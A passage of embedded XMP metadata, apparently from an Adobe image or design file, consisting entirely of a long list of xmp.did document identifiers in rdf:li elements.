               <rdf:li>xmp.did:5FA8FEC2ACB5DF1192D7852C362C89E0</rdf:li>
               <rdf:li>xmp.did:5FB24B6A67E811DF98D1BEA7C517AF65</rdf:li>
               <rdf:li>xmp.did:5FEEDD35167FDF118C9DEA7E5DD15640</rdf:li>
               <rdf:li>xmp.did:5FF5D9BCE37611DF9930AAA581E11823</rdf:li>
               <rdf:li>xmp.did:6024D31D482068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:603B2374072068118A6D955A576403A1</rdf:li>
               <rdf:li>xmp.did:60640A5C5826E01182CAD38ECEDCE268</rdf:li>
               <rdf:li>xmp.did:606C74CBFCE1DE118941DD31A2ACB567</rdf:li>
               <rdf:li>xmp.did:6075376DB867E211BE2BD43435C89E79</rdf:li>
               <rdf:li>xmp.did:6077B81235BEE0118BB3982B8A6B21C0</rdf:li>
               <rdf:li>xmp.did:610079D829206811B1A4D56600D919C7</rdf:li>
               <rdf:li>xmp.did:611032FABB87E011B710DD0532D7B522</rdf:li>
               <rdf:li>xmp.did:613A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:619CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:61DB0138A2AEE0118721BEFE703CEC3B</rdf:li>
               <rdf:li>xmp.did:61FAF3402A69E1119160E45FA1DB44C5</rdf:li>
               <rdf:li>xmp.did:62425DE91D2068118A6DACAAA4DD6020</rdf:li>
               <rdf:li>xmp.did:625A1398E1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:625F8D71448C11E1AB60958DF2C0DC4C</rdf:li>
               <rdf:li>xmp.did:629445197ED5E111AD8ABD1E06C4F5E8</rdf:li>
               <rdf:li>xmp.did:62B36185945DE111970FB66F90545574</rdf:li>
               <rdf:li>xmp.did:62BC874C726211E0AC8EF22AFBE4284A</rdf:li>
               <rdf:li>xmp.did:62D01CE14BF911E0A0A08DC280149321</rdf:li>
               <rdf:li>xmp.did:62DF245D8820681192B0EAB1647D09C9</rdf:li>
               <rdf:li>xmp.did:62FEB08D2023E0118876A60A3B376994</rdf:li>
               <rdf:li>xmp.did:6301DD1F50D1E01186B79C1FF0B46A09</rdf:li>
               <rdf:li>xmp.did:632424910382DF11982BEF51EBA56B3D</rdf:li>
               <rdf:li>xmp.did:63266CCE4991E0119C569B7127E744F1</rdf:li>
               <rdf:li>xmp.did:633A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:634A68AE14D3DF11A3F4945B73FF125F</rdf:li>
               <rdf:li>xmp.did:634FE106FDAADF1196BFAB2AECFE2FA1</rdf:li>
               <rdf:li>xmp.did:6370DCF3D912E21182C380803AEC3D47</rdf:li>
               <rdf:li>xmp.did:63791AF7D83CE011A175B57896315D4A</rdf:li>
               <rdf:li>xmp.did:638880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:6395943583CBDF11BAF5EC302DA3E9DF</rdf:li>
               <rdf:li>xmp.did:639B1DD297D5DF119648F8511B7417D3</rdf:li>
               <rdf:li>xmp.did:63AEF9105305E011867F89B0211E4F7A</rdf:li>
               <rdf:li>xmp.did:63B0EDDF7664E011AF04B639E63A2D00</rdf:li>
               <rdf:li>xmp.did:63B9DF027F206811871F80898A1CC3A1</rdf:li>
               <rdf:li>xmp.did:63BE8315EEDADF119CF4EC4C735E4089</rdf:li>
               <rdf:li>xmp.did:640912E35E206811AFFDA1B78A3AA737</rdf:li>
               <rdf:li>xmp.did:641610FA4D1311E0A484E186B3184968</rdf:li>
               <rdf:li>xmp.did:6422B4C0FB56E11193F6DF0331594266</rdf:li>
               <rdf:li>xmp.did:643A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:6474C83C687CDF118E1F99D69B3525CC</rdf:li>
               <rdf:li>xmp.did:647F1DD60621681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:6481FDAF21216811A613FACC98434A0A</rdf:li>
               <rdf:li>xmp.did:648880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:648DD082E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:648DD086E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:6494CD194F206811871FCD2199AD167E</rdf:li>
               <rdf:li>xmp.did:649A39CFF0276811822796A9C74CE02D</rdf:li>
               <rdf:li>xmp.did:64A28825CA26681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:64C6C5C839CCDE118040C244BCAE0AC0</rdf:li>
               <rdf:li>xmp.did:6511D026972168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:6515EC6E98206811994C86814C2F3017</rdf:li>
               <rdf:li>xmp.did:653CE072082068118C1492EA0CBF3CBE</rdf:li>
               <rdf:li>xmp.did:653E4C94DD2068118F62D27A6BCE2F0B</rdf:li>
               <rdf:li>xmp.did:654E940A24D6DF11A7DEEBCD26CFA1AC</rdf:li>
               <rdf:li>xmp.did:6552BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6577DAA73B206811B8BF977E99478059</rdf:li>
               <rdf:li>xmp.did:658BF97C7920681194579C34371C13BF</rdf:li>
               <rdf:li>xmp.did:6590E6D4C020681198BEA0E5FFE8B6B5</rdf:li>
               <rdf:li>xmp.did:659CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:659F34731BCDDF1191BD97C1AE6A08AB</rdf:li>
               <rdf:li>xmp.did:65B248B6863FE0118C61C0DFB35C8D66</rdf:li>
               <rdf:li>xmp.did:65B96F46635CDF11B926940674C2538B</rdf:li>
               <rdf:li>xmp.did:65CF61081B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:65EEE594735FD911A15BFEC0ADDBAC3F</rdf:li>
               <rdf:li>xmp.did:661211A71D2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:661F516D6C73E1119A2480E1D5CB1E69</rdf:li>
               <rdf:li>xmp.did:662C851541206811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:6641B110402068118083EBEB5CDE0BFF</rdf:li>
               <rdf:li>xmp.did:664D5C459C7711E08A9C913C073A663E</rdf:li>
               <rdf:li>xmp.did:6652BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:66562D8A30206811822AF66E54970861</rdf:li>
               <rdf:li>xmp.did:6658E3CA2520681192B0B785C414D861</rdf:li>
               <rdf:li>xmp.did:665F7074072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:666E8AD78E68E211B497A6D88EC2FB84</rdf:li>
               <rdf:li>xmp.did:668880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:66A28825CA26681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:66BCB3B7EAB9E011AEBCBCB1E3A15768</rdf:li>
               <rdf:li>xmp.did:66C6B93F7DA211E09C77BF26023F02EC</rdf:li>
               <rdf:li>xmp.did:66C6B9437DA211E09C77BF26023F02EC</rdf:li>
               <rdf:li>xmp.did:66DDD6D801ABE1119071877A557E3206</rdf:li>
               <rdf:li>xmp.did:67253BB886B7E0119FA2A4FC997C0706</rdf:li>
               <rdf:li>xmp.did:6731D5D11AE6E11191BAA70780358616</rdf:li>
               <rdf:li>xmp.did:6742673B082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:6752BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6757A180C1B0E211A6CC999F13B74FE8</rdf:li>
               <rdf:li>xmp.did:6757DAFF4180E0118F15928882A1D72F</rdf:li>
               <rdf:li>xmp.did:675F7074072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:676A8DDB4E3011E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:676A8DDF4E3011E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:677714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:677E60494F2068118DBBE52260A278CD</rdf:li>
               <rdf:li>xmp.did:678880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:6798E185432068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:679CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:67A7D917E932E1119FFCF2EC4336CC35</rdf:li>
               <rdf:li>xmp.did:67F533B8FE23681195FEAA7B3841CB4F</rdf:li>
               <rdf:li>xmp.did:6800A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6826A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:68418D77B924681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:6848DC373B2068118004F623DF686F5A</rdf:li>
               <rdf:li>xmp.did:6852BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6859A8AA4C20681192B0C49A4A67C7CB</rdf:li>
               <rdf:li>xmp.did:688E066C4B206811963CF2F523F9A511</rdf:li>
               <rdf:li>xmp.did:689B1DD297D5DF119648F8511B7417D3</rdf:li>
               <rdf:li>xmp.did:68B001AB0F2068119109E168B83CB9C9</rdf:li>
               <rdf:li>xmp.did:68B043DC5C97E0119C8BA9F3169B0211</rdf:li>
               <rdf:li>xmp.did:68B6D084C824E1118636B042784FE210</rdf:li>
               <rdf:li>xmp.did:68C5AF68C762E011BE14E7236D0B5A50</rdf:li>
               <rdf:li>xmp.did:6902880EF794E111A696EA41B345D359</rdf:li>
               <rdf:li>xmp.did:690C8FAFBA2CE21186478093D7207038</rdf:li>
               <rdf:li>xmp.did:6926A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6931D5D11AE6E11191BAA70780358616</rdf:li>
               <rdf:li>xmp.did:6942673B082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:6952BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6966F9529C23E011BDF9E30C5CFEECDF</rdf:li>
               <rdf:li>xmp.did:696C021B3FFBE111A117E71571655E16</rdf:li>
               <rdf:li>xmp.did:6988E28F0B276811AFFD8310599E7E7C</rdf:li>
               <rdf:li>xmp.did:699ACB349B01E011AE09AB7DED4BA7BA</rdf:li>
               <rdf:li>xmp.did:699CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:69A1217ACDA4E0118A47F95ACDE595C5</rdf:li>
               <rdf:li>xmp.did:69B10C9822E8DF11B384ADA7A32699D7</rdf:li>
               <rdf:li>xmp.did:69B2F9191F20681194578A02E8C9B59B</rdf:li>
               <rdf:li>xmp.did:69D3304B192068119109B5CB68862886</rdf:li>
               <rdf:li>xmp.did:69D573D21A2068118C14F20FBF0152D7</rdf:li>
               <rdf:li>xmp.did:69EB434F302068119109B3CAEE51E0B6</rdf:li>
               <rdf:li>xmp.did:69F9774A84A5E111A6EBB99B80B212EA</rdf:li>
               <rdf:li>xmp.did:6A00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6A10A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:6A15AFA28B206811871F8DE1CBDF9EB0</rdf:li>
               <rdf:li>xmp.did:6A284E091A29681192B0D53FF790F85B</rdf:li>
               <rdf:li>xmp.did:6A459E625156E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:6A47007B82A4E011A4FEE67DFDD7FB36</rdf:li>
               <rdf:li>xmp.did:6A52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6A7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6A9E5D44615BDF11B2D1E76550196FF9</rdf:li>
               <rdf:li>xmp.did:6AD2DD1426CBDF119207FF631E313C1E</rdf:li>
               <rdf:li>xmp.did:6AE4DB37096FDF11BD60EAD4B082D434</rdf:li>
               <rdf:li>xmp.did:6B08A475072068118A6DFCE287DDF692</rdf:li>
               <rdf:li>xmp.did:6B09198207206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:6B1379CE787111DF95B49A2F564076CD</rdf:li>
               <rdf:li>xmp.did:6B1C56982D2068118DBBAF22E7F05724</rdf:li>
               <rdf:li>xmp.did:6B26A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6B43DD71B9D011DFA897EC2DD419EB70</rdf:li>
               <rdf:li>xmp.did:6B4CDF46122068118DBB92791FD53C0C</rdf:li>
               <rdf:li>xmp.did:6B52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6B9AFF6520DADF11AD2BCBF19C02F98C</rdf:li>
               <rdf:li>xmp.did:6BF830FD24A0DF11B00DECDA1C990E15</rdf:li>
               <rdf:li>xmp.did:6C00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6C10A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:6C1D4CFBD8C8DF118849E21764796AE8</rdf:li>
               <rdf:li>xmp.did:6C26A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6C4FB8A65620681195FEA93185EB8BBA</rdf:li>
               <rdf:li>xmp.did:6C52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6C5FF664FB8FE01185228094CDC8CBDD</rdf:li>
               <rdf:li>xmp.did:6C655B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:6C7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6C7D9E1E74B211E0A792FB6CA6498740</rdf:li>
               <rdf:li>xmp.did:6C84250939206811871FEE41CD930A52</rdf:li>
               <rdf:li>xmp.did:6CAA2255CF57E0118F61ABAA1281E4E0</rdf:li>
               <rdf:li>xmp.did:6CDE07D55E20681198E99BCF30868C79</rdf:li>
               <rdf:li>xmp.did:6CE0582A85F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6CF7F57A4588E0118E50D901036E7887</rdf:li>
               <rdf:li>xmp.did:6CFE15740720681188C684C5D3396C33</rdf:li>
               <rdf:li>xmp.did:6D093303D879E21182D29C2E386A6624</rdf:li>
               <rdf:li>xmp.did:6D3AE9F91820681188C6E3BB5694B611</rdf:li>
               <rdf:li>xmp.did:6D3C9015C7FD11E0AB4AC788DB624043</rdf:li>
               <rdf:li>xmp.did:6D4C1B58E52568119109818D5ECEA190</rdf:li>
               <rdf:li>xmp.did:6D52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6D67F274098DE11197F19D332460B8C5</rdf:li>
               <rdf:li>xmp.did:6D74647FE2F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:6D97F04C15206811AE56D5C2EFF83E18</rdf:li>
               <rdf:li>xmp.did:6DD0F167082068118A6DF6FE97EAF5F6</rdf:li>
               <rdf:li>xmp.did:6DE0582A85F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6DF8C62E0E2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:6E00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6E0684F8882D11DF94A7DAD892EF3257</rdf:li>
               <rdf:li>xmp.did:6E282DCA7F17E011B0739866E9AD0C81</rdf:li>
               <rdf:li>xmp.did:6E6780750B9CE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:6E6B1F2C98EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E6B1F3098EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E6B1F3498EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E7CD2CED77BE011A60BCDD5CBCAB985</rdf:li>
               <rdf:li>xmp.did:6E843CF8437011E088D29E4C0233231A</rdf:li>
               <rdf:li>xmp.did:6E9860BB27206811808389F08A331CD3</rdf:li>
               <rdf:li>xmp.did:6ED5E9CD6FC4DF11B75C9BE1D5B16EA3</rdf:li>
               <rdf:li>xmp.did:6EFAB19E8246E111A974861A88B3D67A</rdf:li>
               <rdf:li>xmp.did:6F0B94D9C2C4DF11A6D3C527EAC98032</rdf:li>
               <rdf:li>xmp.did:6F0D4B477DBFE01194A4D852F2BA19F5</rdf:li>
               <rdf:li>xmp.did:6F71F6EB1D2068118F62D4FE545D214D</rdf:li>
               <rdf:li>xmp.did:6F7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6FA33447C124681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:6FA6728D7485E211BFF486AA8011B265</rdf:li>
               <rdf:li>xmp.did:6FAD2A5D0E20681188C6D9C4D0AF0270</rdf:li>
               <rdf:li>xmp.did:6FD5EA4F4D2DE0118D4EDB8E509E5254</rdf:li>
               <rdf:li>xmp.did:7000A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:705A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:705B30E088F611E083F782CBB1D50FB1</rdf:li>
               <rdf:li>xmp.did:7089C6CFC8B5DF11820885489254C0E7</rdf:li>
               <rdf:li>xmp.did:70A31406DF206811871F81E8BB0F82E6</rdf:li>
               <rdf:li>xmp.did:70C4E5B178D6E0119077E32A4C1A5516</rdf:li>
               <rdf:li>xmp.did:70C97C4E5749DF11A1AEFB5A864AA7E1</rdf:li>
               <rdf:li>xmp.did:70D3233031206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:70D66A196B64DF11B39BE2FACB6507A8</rdf:li>
               <rdf:li>xmp.did:710A7400A8EBE011B976D593E6469015</rdf:li>
               <rdf:li>xmp.did:711F44CBE92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:7125C99E1320681182FE98EF7F18BF1D</rdf:li>
               <rdf:li>xmp.did:715A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:7162A10113206811871FCD2199AD167E</rdf:li>
               <rdf:li>xmp.did:71747A3E3DC7E011B772C884E4792094</rdf:li>
               <rdf:li>xmp.did:7178548E489EDF1187848A377019B2B6</rdf:li>
               <rdf:li>xmp.did:71895AE3F42AE011AEB8849E07FFCB7A</rdf:li>
               <rdf:li>xmp.did:7192335FBAFB11DFB14683193FC4D135</rdf:li>
               <rdf:li>xmp.did:71D573D21A2068118C14F20FBF0152D7</rdf:li>
               <rdf:li>xmp.did:72096DA07221E111ACC78D1F54712258</rdf:li>
               <rdf:li>xmp.did:7210A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:723C111C508811E097A78CDC71EB349E</rdf:li>
               <rdf:li>xmp.did:723C1120508811E097A78CDC71EB349E</rdf:li>
               <rdf:li>xmp.did:729131241F6CDF118BE7E8579E18CF61</rdf:li>
               <rdf:li>xmp.did:729E0675072068118A6DFF0C5FE00A41</rdf:li>
               <rdf:li>xmp.did:729E7B4C132068119109C9CFB4CC2F3D</rdf:li>
               <rdf:li>xmp.did:72FD2966192068118DBB831B613A0071</rdf:li>
               <rdf:li>xmp.did:732AFF69282068119109FB43F0835315</rdf:li>
               <rdf:li>xmp.did:735A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:7360C3BF8D206811B6999C6B4BE18F8F</rdf:li>
               <rdf:li>xmp.did:73655B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:7377BA613190DF11A2C69040FFE6437A</rdf:li>
               <rdf:li>xmp.did:739C08B21168DF11902C8FBBD6B34A4F</rdf:li>
               <rdf:li>xmp.did:739D7E9FEBADDF11AADEADA356222083</rdf:li>
               <rdf:li>xmp.did:73B57231C3E9E0119FC8E3CA42FCF1AC</rdf:li>
               <rdf:li>xmp.did:73C021F66F5DE011841CE93FD1995813</rdf:li>
               <rdf:li>xmp.did:73D1E80F51AAE11194E8EAA6090E4BC8</rdf:li>
               <rdf:li>xmp.did:73E41380AD206811822AE48E24892511</rdf:li>
               <rdf:li>xmp.did:73F3DBA87D2511DFB8DAA291B838EA94</rdf:li>
               <rdf:li>xmp.did:73F9C4285FFEDF1196FEEFF1E699BCF4</rdf:li>
               <rdf:li>xmp.did:7410A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:74117FCD20071168BB54F782791C10D3</rdf:li>
               <rdf:li>xmp.did:74117FCF20071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FCF20071168B5D4B3378E1A86A0</rdf:li>
               <rdf:li>xmp.did:74117FD120071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FD620071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FDA200711688968BA96E96E049F</rdf:li>
               <rdf:li>xmp.did:74117FE120071168BA3EFE1DFD381457</rdf:li>
               <rdf:li>xmp.did:74117FE720071168923FA35D1713A621</rdf:li>
               <rdf:li>xmp.did:74117FE920071168ADC9D619E50946F1</rdf:li>
               <rdf:li>xmp.did:74117FEF20071168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:74117FF720071168B4F2D4360359303D</rdf:li>
               <rdf:li>xmp.did:74150A7607206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:7437D61FD021681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:7441EDE607206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7446BB7607206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:745B3A8EEA2168118C14BC18E4CC532F</rdf:li>
               <rdf:li>xmp.did:749E9361DD3B11DF82CAFFB23D454B89</rdf:li>
               <rdf:li>xmp.did:74F33ECEDBBADE1191609FD758966D64</rdf:li>
               <rdf:li>xmp.did:758B8B6E727311E08850BB43EBB2619E</rdf:li>
               <rdf:li>xmp.did:75A75D1E08206811BEDCEC12B17E052F</rdf:li>
               <rdf:li>xmp.did:75DEDC25312468118B72DE2C6B104274</rdf:li>
               <rdf:li>xmp.did:7631A3109686E0119D98C2D90B3468EC</rdf:li>
               <rdf:li>xmp.did:766ED780872268119457DE7F1930A8E5</rdf:li>
               <rdf:li>xmp.did:76857F743F20681197A5E7B0831EA4A7</rdf:li>
               <rdf:li>xmp.did:76C3B18A12206811B34B9E3C14363DF8</rdf:li>
               <rdf:li>xmp.did:76EBAD40FF0D11DF88A496A994C67AC0</rdf:li>
               <rdf:li>xmp.did:7704F68522206811B840DB589BDF8BB3</rdf:li>
               <rdf:li>xmp.did:77058E810275DF1190AAD8563C512C0C</rdf:li>
               <rdf:li>xmp.did:775D9A049B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:775D9A089B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:777464D2EDEDDF1183C8AD1A3CE4A1DB</rdf:li>
               <rdf:li>xmp.did:777A8B8D2CCEDE11AC1FBF9D231E361F</rdf:li>
               <rdf:li>xmp.did:7790FA545749DF11A1AEFB5A864AA7E1</rdf:li>
               <rdf:li>xmp.did:77928EB9BE7F11E0B020A9730130AC6C</rdf:li>
               <rdf:li>xmp.did:77C21B6390D7E0119E02F80EFADF1446</rdf:li>
               <rdf:li>xmp.did:77CC0915A34A11E19B2CF47FA6A37ACA</rdf:li>
               <rdf:li>xmp.did:77DA1E7C262068118DBBCB7A4ABDEE9B</rdf:li>
               <rdf:li>xmp.did:77DC1D9E082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:77FBAEA09225E01191498E3664FFA8E4</rdf:li>
               <rdf:li>xmp.did:77FCDCFF0C20681188C6C677A3826B0E</rdf:li>
               <rdf:li>xmp.did:78052B7EBC21681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:781428192CA4E111949CBF82BC307109</rdf:li>
               <rdf:li>xmp.did:787C5EF8342068118A6DFCCD72587E50</rdf:li>
               <rdf:li>xmp.did:788200B33261DF11B38F998875CC8654</rdf:li>
               <rdf:li>xmp.did:788AF58CDC9FDF118C00C3C968ABDC06</rdf:li>
               <rdf:li>xmp.did:789131241F6CDF118BE7E8579E18CF61</rdf:li>
               <rdf:li>xmp.did:78A49F989C2068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:78A801AD2056E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:78C21B6390D7E0119E02F80EFADF1446</rdf:li>
               <rdf:li>xmp.did:78D0D43D9182DF11B1D9924A8E8B1BC5</rdf:li>
               <rdf:li>xmp.did:78D53328D41CE1119679A47CE26EAB53</rdf:li>
               <rdf:li>xmp.did:7905B13A0E206811871FC0314F02A4F7</rdf:li>
               <rdf:li>xmp.did:791E35BB07206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7924A50DD8C811E1A6B4902EED7D4DA4</rdf:li>
               <rdf:li>xmp.did:7925336F792068118F62FB2F86618C29</rdf:li>
               <rdf:li>xmp.did:793AE5F91840DF11AEF7B4966E6B8813</rdf:li>
               <rdf:li>xmp.did:79754172E3AAE1119559BF9A11B91512</rdf:li>
               <rdf:li>xmp.did:79796737F6A7E111AFD3EFEE417D4C00</rdf:li>
               <rdf:li>xmp.did:797ADC75072068118A6DCDECC596EB6E</rdf:li>
               <rdf:li>xmp.did:79A4BA10E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:79A4BA14E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:79ADB853F3206811871FC8D7DC3AB467</rdf:li>
               <rdf:li>xmp.did:7A16B75511206811A7BA846FD2D9A224</rdf:li>
               <rdf:li>xmp.did:7A2B1ED8472BE11195C4A18E0D70B4DB</rdf:li>
               <rdf:li>xmp.did:7A3CC4A2972CE111A231AFC516971A8A</rdf:li>
               <rdf:li>xmp.did:7A7744FB63D511E0AABFC58C3D25E939</rdf:li>
               <rdf:li>xmp.did:7A7A501C1F206811871FE0E4CB6C52AC</rdf:li>
               <rdf:li>xmp.did:7AC6D569B9FDDF11A02AEE8AF07A2850</rdf:li>
               <rdf:li>xmp.did:7AC6FDDD3E236811A9618E6B5A2E8B49</rdf:li>
               <rdf:li>xmp.did:7ACE8BF614206811AFFDE23F1424EB30</rdf:li>
               <rdf:li>xmp.did:7B043B7D7321E0119D96D946FB4715F7</rdf:li>
               <rdf:li>xmp.did:7B29C0F54820681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:7B45408C9E20681187EA9809E389FD3A</rdf:li>
               <rdf:li>xmp.did:7B62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:7B679B9307206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7B76D92E46206811BD35BECC5D08EE57</rdf:li>
               <rdf:li>xmp.did:7BB6D8FA0F206811A613A012998A47A8</rdf:li>
               <rdf:li>xmp.did:7BD2A7176C34E01183C188C0B0DA4CAA</rdf:li>
               <rdf:li>xmp.did:7BE16252F17FE011A6D9D3953F107786</rdf:li>
               <rdf:li>xmp.did:7C07D8DC8E79DF11B8DDA0E346A0AACF</rdf:li>
               <rdf:li>xmp.did:7C30CE137B216811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:7C6F110A13F4E0119A97C6F5F7FD5B9F</rdf:li>
               <rdf:li>xmp.did:7C8DC490E0226811871FAFE2B6937D3F</rdf:li>
               <rdf:li>xmp.did:7CA801AD2056E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:7CB161485F206811BCDBFE5E98BB96A5</rdf:li>
               <rdf:li>xmp.did:7CC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7CD157651A206811B82FAD2229F639D0</rdf:li>
               <rdf:li>xmp.did:7CE9741F22206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:7CF175EED990E011A82BB1BA30D69293</rdf:li>
               <rdf:li>xmp.did:7D4E139D1885E011BD3DE9624629426F</rdf:li>
               <rdf:li>xmp.did:7D5E1B8AEAEFDF118A9DAF75AAD34E89</rdf:li>
               <rdf:li>xmp.did:7D62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:7DC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7E02E44E535FE011ADB4C951F69C3540</rdf:li>
               <rdf:li>xmp.did:7E189C083B2468118F62D645B52694F8</rdf:li>
               <rdf:li>xmp.did:7E63932DE206E2118981A5817710C101</rdf:li>
               <rdf:li>xmp.did:7EB17AB71120681197A5A7582C19A1FC</rdf:li>
               <rdf:li>xmp.did:7EC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7ED765559EA8E1119401F15FC606D9C7</rdf:li>
               <rdf:li>xmp.did:7EE16252F17FE011A6D9D3953F107786</rdf:li>
               <rdf:li>xmp.did:7F24C0CD08206811994CF1C7CBEFB674</rdf:li>
               <rdf:li>xmp.did:7F4BB1D83920681192B0F8F782183CC7</rdf:li>
               <rdf:li>xmp.did:7F62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:7F6D26F1E2FEE0119C6ABCC0BC7488E3</rdf:li>
               <rdf:li>xmp.did:7F9A8CE5B629E011BABAAAB87E8D0FD7</rdf:li>
               <rdf:li>xmp.did:7F9C53A211206811ACB683AE4DE260D1</rdf:li>
               <rdf:li>xmp.did:7FBE3A3CF6F0E0119B3996CAEAF798BE</rdf:li>
               <rdf:li>xmp.did:7FBFAB2ACFDBE1119E848C69D255D3A5</rdf:li>
